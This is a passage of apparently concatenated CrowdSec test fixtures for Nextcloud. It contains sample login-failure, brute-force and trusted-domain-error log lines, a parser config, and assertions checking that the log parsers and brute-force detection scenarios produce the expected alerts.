IP: 2001:db8::d71)","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":1,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d72","user":"--","app":"core","method":"POST","url":"/login","message":"Bruteforce attempt from \"2001:db8::d72\" detected for action \"login\".","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":2,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d71","user":"--","app":"no app in context","method":"POST","url":"/login","message":"Login failed: foo4 (Remote IP: 2001:db8::d71)","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":1,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d72","user":"--","app":"core","method":"POST","url":"/login","message":"Bruteforce attempt from \"2001:db8::d72\" detected for action \"login\".","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":2,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d71","user":"--","app":"no app in context","method":"POST","url":"/login","message":"Login failed: foo5 (Remote IP: 2001:db8::d71)","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":1,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d72","user":"--","app":"core","method":"POST","url":"/login","message":"Bruteforce attempt from \"2001:db8::d72\" detected for action \"login\".","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"cloud.test.com\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} {"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"cloud.test.com\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} {"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"cloud.test.com\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} {"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"cloud.test.com\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} {"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"cloud.test.com\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} {"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"cloud.test.com\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} {"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"cloud.test.com\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} hub1/.tests/nextcloud-bf/parser.assert000066400000000000000000000000001437532772500202530ustar00rootroot00000000000000hub1/.tests/nextcloud-bf/scenario.assert000066400000000000000000000342401437532772500205770ustar00rootroot00000000000000len(results) == 4 "2001:db8::d71" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2001:db8::d71"].IP == "2001:db8::d71" results[0].Overflow.Sources["2001:db8::d71"].Range == "" results[0].Overflow.Sources["2001:db8::d71"].GetScope() == "Ip" results[0].Overflow.Sources["2001:db8::d71"].GetValue() == "2001:db8::d71" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nextcloud-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "nextcloud_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "nextcloud" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:db8::d71" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "foo" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nextcloud-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "nextcloud_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "nextcloud" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:db8::d71" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "foo1" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nextcloud-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "nextcloud_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "nextcloud" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "2001:db8::d71" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "foo2" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nextcloud-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "nextcloud_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "nextcloud" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "2001:db8::d71" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "foo3" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "nextcloud-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "nextcloud_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "nextcloud" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "2001:db8::d71" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "foo4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "nextcloud-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "nextcloud_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "nextcloud" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "2001:db8::d71" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "foo5" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/nextcloud-bf_user_enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "172.18.0.200" in results[1].Overflow.GetSources() results[1].Overflow.Sources["172.18.0.200"].IP == "172.18.0.200" results[1].Overflow.Sources["172.18.0.200"].Range == "" results[1].Overflow.Sources["172.18.0.200"].GetScope() == "Ip" results[1].Overflow.Sources["172.18.0.200"].GetValue() == "172.18.0.200" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nextcloud-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "nextcloud_domain_error" results[1].Overflow.Alert.Events[0].GetMeta("service") == "nextcloud" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.18.0.200" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2023-02-14T17:28:33Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nextcloud-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "nextcloud_domain_error" results[1].Overflow.Alert.Events[1].GetMeta("service") == "nextcloud" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.18.0.200" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2023-02-14T17:28:33Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nextcloud-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "nextcloud_domain_error" results[1].Overflow.Alert.Events[2].GetMeta("service") == "nextcloud" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.18.0.200" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2023-02-14T17:28:33Z" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nextcloud-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "nextcloud_domain_error" results[1].Overflow.Alert.Events[3].GetMeta("service") == "nextcloud" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.18.0.200" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2023-02-14T17:28:33Z" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "nextcloud-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "nextcloud_domain_error" results[1].Overflow.Alert.Events[4].GetMeta("service") == "nextcloud" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.18.0.200" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2023-02-14T17:28:33Z" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "nextcloud-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "nextcloud_domain_error" results[1].Overflow.Alert.Events[5].GetMeta("service") == "nextcloud" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "172.18.0.200" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2023-02-14T17:28:33Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/nextcloud-bf_domain_error" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 "2001:db8::d72" in results[2].Overflow.GetSources() results[2].Overflow.Sources["2001:db8::d72"].IP == "2001:db8::d72" results[2].Overflow.Sources["2001:db8::d72"].Range == "" results[2].Overflow.Sources["2001:db8::d72"].GetScope() == "Ip" results[2].Overflow.Sources["2001:db8::d72"].GetValue() == "2001:db8::d72" results[2].Overflow.Alert.Events[0].GetMeta("action") == "login" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nextcloud-bf.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "nextcloud_bruteforce_attempt" results[2].Overflow.Alert.Events[0].GetMeta("service") == "nextcloud" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:db8::d72" results[2].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[2].Overflow.Alert.Events[1].GetMeta("action") == "login" results[2].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nextcloud-bf.log" results[2].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[1].GetMeta("log_type") == "nextcloud_bruteforce_attempt" results[2].Overflow.Alert.Events[1].GetMeta("service") == "nextcloud" results[2].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:db8::d72" results[2].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[2].Overflow.Alert.Events[2].GetMeta("action") == "login" results[2].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nextcloud-bf.log" results[2].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[2].GetMeta("log_type") == "nextcloud_bruteforce_attempt" results[2].Overflow.Alert.Events[2].GetMeta("service") == "nextcloud" results[2].Overflow.Alert.Events[2].GetMeta("source_ip") == "2001:db8::d72" results[2].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[2].Overflow.Alert.Events[3].GetMeta("action") == "login" results[2].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nextcloud-bf.log" results[2].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[3].GetMeta("log_type") == "nextcloud_bruteforce_attempt" results[2].Overflow.Alert.Events[3].GetMeta("service") == "nextcloud" results[2].Overflow.Alert.Events[3].GetMeta("source_ip") == "2001:db8::d72" results[2].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[2].Overflow.Alert.Events[4].GetMeta("action") == "login" results[2].Overflow.Alert.Events[4].GetMeta("datasource_path") == "nextcloud-bf.log" results[2].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[4].GetMeta("log_type") == "nextcloud_bruteforce_attempt" results[2].Overflow.Alert.Events[4].GetMeta("service") == "nextcloud" results[2].Overflow.Alert.Events[4].GetMeta("source_ip") == "2001:db8::d72" results[2].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[2].Overflow.Alert.Events[5].GetMeta("action") == "login" results[2].Overflow.Alert.Events[5].GetMeta("datasource_path") == "nextcloud-bf.log" results[2].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[5].GetMeta("log_type") == "nextcloud_bruteforce_attempt" results[2].Overflow.Alert.Events[5].GetMeta("service") == "nextcloud" results[2].Overflow.Alert.Events[5].GetMeta("source_ip") == "2001:db8::d72" results[2].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[2].Overflow.Alert.GetScenario() == "crowdsecurity/nextcloud-bf" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 6 "2001:db8::d71" in results[3].Overflow.GetSources() results[3].Overflow.Sources["2001:db8::d71"].IP == "2001:db8::d71" results[3].Overflow.Sources["2001:db8::d71"].Range == "" results[3].Overflow.Sources["2001:db8::d71"].GetScope() == "Ip" results[3].Overflow.Sources["2001:db8::d71"].GetValue() == "2001:db8::d71" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nextcloud-bf.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "nextcloud_failed_auth" results[3].Overflow.Alert.Events[0].GetMeta("service") == "nextcloud" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:db8::d71" results[3].Overflow.Alert.Events[0].GetMeta("target_user") == "foo" results[3].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[3].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nextcloud-bf.log" results[3].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[1].GetMeta("log_type") == "nextcloud_failed_auth" results[3].Overflow.Alert.Events[1].GetMeta("service") == "nextcloud" results[3].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:db8::d71" results[3].Overflow.Alert.Events[1].GetMeta("target_user") == "foo1" results[3].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[3].Overflow.Alert.Events[2].GetMeta("datasource_path") == "nextcloud-bf.log" results[3].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[2].GetMeta("log_type") == "nextcloud_failed_auth" results[3].Overflow.Alert.Events[2].GetMeta("service") == "nextcloud" results[3].Overflow.Alert.Events[2].GetMeta("source_ip") == "2001:db8::d71" results[3].Overflow.Alert.Events[2].GetMeta("target_user") == "foo2" results[3].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[3].Overflow.Alert.Events[3].GetMeta("datasource_path") == "nextcloud-bf.log" results[3].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[3].GetMeta("log_type") == "nextcloud_failed_auth" results[3].Overflow.Alert.Events[3].GetMeta("service") == "nextcloud" results[3].Overflow.Alert.Events[3].GetMeta("source_ip") == "2001:db8::d71" results[3].Overflow.Alert.Events[3].GetMeta("target_user") == "foo3" results[3].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[3].Overflow.Alert.Events[4].GetMeta("datasource_path") == "nextcloud-bf.log" results[3].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[4].GetMeta("log_type") == "nextcloud_failed_auth" results[3].Overflow.Alert.Events[4].GetMeta("service") == "nextcloud" results[3].Overflow.Alert.Events[4].GetMeta("source_ip") == "2001:db8::d71" results[3].Overflow.Alert.Events[4].GetMeta("target_user") == "foo4" results[3].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[3].Overflow.Alert.Events[5].GetMeta("datasource_path") == "nextcloud-bf.log" results[3].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[5].GetMeta("log_type") == "nextcloud_failed_auth" results[3].Overflow.Alert.Events[5].GetMeta("service") == "nextcloud" results[3].Overflow.Alert.Events[5].GetMeta("source_ip") == "2001:db8::d71" results[3].Overflow.Alert.Events[5].GetMeta("target_user") == "foo5" results[3].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-01-16T15:42:37Z" results[3].Overflow.Alert.GetScenario() == "crowdsecurity/nextcloud-bf" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/nextcloud-logs/000077500000000000000000000000001437532772500161235ustar00rootroot00000000000000hub1/.tests/nextcloud-logs/config.yaml000066400000000000000000000003641437532772500202570ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/nextcloud-logs.yaml scenarios: - "" postoverflows: - "" log_file: nextcloud-logs.log log_type: Nextcloud labels: {} ignore_parsers: false hub1/.tests/nextcloud-logs/nextcloud-logs.log000066400000000000000000000021021437532772500215700ustar00rootroot00000000000000{"reqId":"U1rsiIxFtovEqTt77CJN","level":2,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d71","user":"--","app":"no app in context","method":"POST","url":"/login","message":"Login failed: foo (Remote IP: 2001:db8::d71)","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":1,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d71","user":"--","app":"core","method":"POST","url":"/login","message":"Bruteforce attempt from \"2001:db8::d71\" detected for action \"login\".","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"cloud.test.com\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} hub1/.tests/nextcloud-logs/parser.assert000066400000000000000000000273361437532772500206550ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 3 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "{\"reqId\":\"U1rsiIxFtovEqTt77CJN\",\"level\":2,\"time\":\"2022-01-16T15:42:37+00:00\",\"remoteAddr\":\"2001:db8::d71\",\"user\":\"--\",\"app\":\"no app in context\",\"method\":\"POST\",\"url\":\"/login\",\"message\":\"Login failed: foo (Remote IP: 2001:db8::d71)\",\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\",\"version\":\"23.0.0.10\"}" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "Nextcloud" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "{\"reqId\":\"U1rsiIxFtovEqTt77CJN\",\"level\":1,\"time\":\"2022-01-16T15:42:37+00:00\",\"remoteAddr\":\"2001:db8::d71\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"/login\",\"message\":\"Bruteforce attempt from \\\"2001:db8::d71\\\" detected for action \\\"login\\\".\",\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\",\"version\":\"23.0.0.10\"}" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "Nextcloud" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "{\"reqId\":\"dCA39mNG3NHLwbibVCFp\",\"level\":1,\"time\":\"2023-02-14T17:28:33+00:00\",\"remoteAddr\":\"172.18.0.200\",\"user\":\"--\",\"app\":\"core\",\"method\":\"GET\",\"url\":\"/\",\"message\":\"Trusted domain error. \\\"172.18.0.200\\\" tried to access using \\\"cloud.test.com\\\" as host.\",\"userAgent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\",\"version\":\"25.0.3.2\",\"data\":{\"app\":\"core\"}}" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "Nextcloud" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false len(results["s01-parse"]["crowdsecurity/nextcloud-logs"]) == 3 results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Success == true results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Parsed["target_user"] == "foo" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Parsed["message"] == "{\"reqId\":\"U1rsiIxFtovEqTt77CJN\",\"level\":2,\"time\":\"2022-01-16T15:42:37+00:00\",\"remoteAddr\":\"2001:db8::d71\",\"user\":\"--\",\"app\":\"no app in context\",\"method\":\"POST\",\"url\":\"/login\",\"message\":\"Login failed: foo (Remote IP: 2001:db8::d71)\",\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\",\"version\":\"23.0.0.10\"}" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Parsed["program"] == "Nextcloud" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Parsed["source_ip"] == "2001:db8::d71" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Meta["log_type"] == "nextcloud_failed_auth" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Meta["service"] == "nextcloud" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Meta["source_ip"] == "2001:db8::d71" results["s01-parse"]["crowdsecurity/nextcloud-logs"][0].Evt.Meta["target_user"] == "foo" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Success == true results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Parsed["action"] == "login" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Parsed["message"] == "{\"reqId\":\"U1rsiIxFtovEqTt77CJN\",\"level\":1,\"time\":\"2022-01-16T15:42:37+00:00\",\"remoteAddr\":\"2001:db8::d71\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"/login\",\"message\":\"Bruteforce attempt from \\\"2001:db8::d71\\\" detected for action \\\"login\\\".\",\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\",\"version\":\"23.0.0.10\"}" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Parsed["program"] == "Nextcloud" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Parsed["source_ip"] == "2001:db8::d71" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Meta["action"] == "login" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Meta["log_type"] == "nextcloud_bruteforce_attempt" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Meta["service"] == "nextcloud" results["s01-parse"]["crowdsecurity/nextcloud-logs"][1].Evt.Meta["source_ip"] == "2001:db8::d71" results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Success == true results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Evt.Parsed["message"] == "{\"reqId\":\"dCA39mNG3NHLwbibVCFp\",\"level\":1,\"time\":\"2023-02-14T17:28:33+00:00\",\"remoteAddr\":\"172.18.0.200\",\"user\":\"--\",\"app\":\"core\",\"method\":\"GET\",\"url\":\"/\",\"message\":\"Trusted domain error. \\\"172.18.0.200\\\" tried to access using \\\"cloud.test.com\\\" as host.\",\"userAgent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\",\"version\":\"25.0.3.2\",\"data\":{\"app\":\"core\"}}" results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Evt.Parsed["program"] == "Nextcloud" results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Evt.Parsed["source_ip"] == "172.18.0.200" results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Evt.Meta["log_type"] == "nextcloud_domain_error" results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Evt.Meta["service"] == "nextcloud" results["s01-parse"]["crowdsecurity/nextcloud-logs"][2].Evt.Meta["source_ip"] == "172.18.0.200" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 3 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "Nextcloud" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == 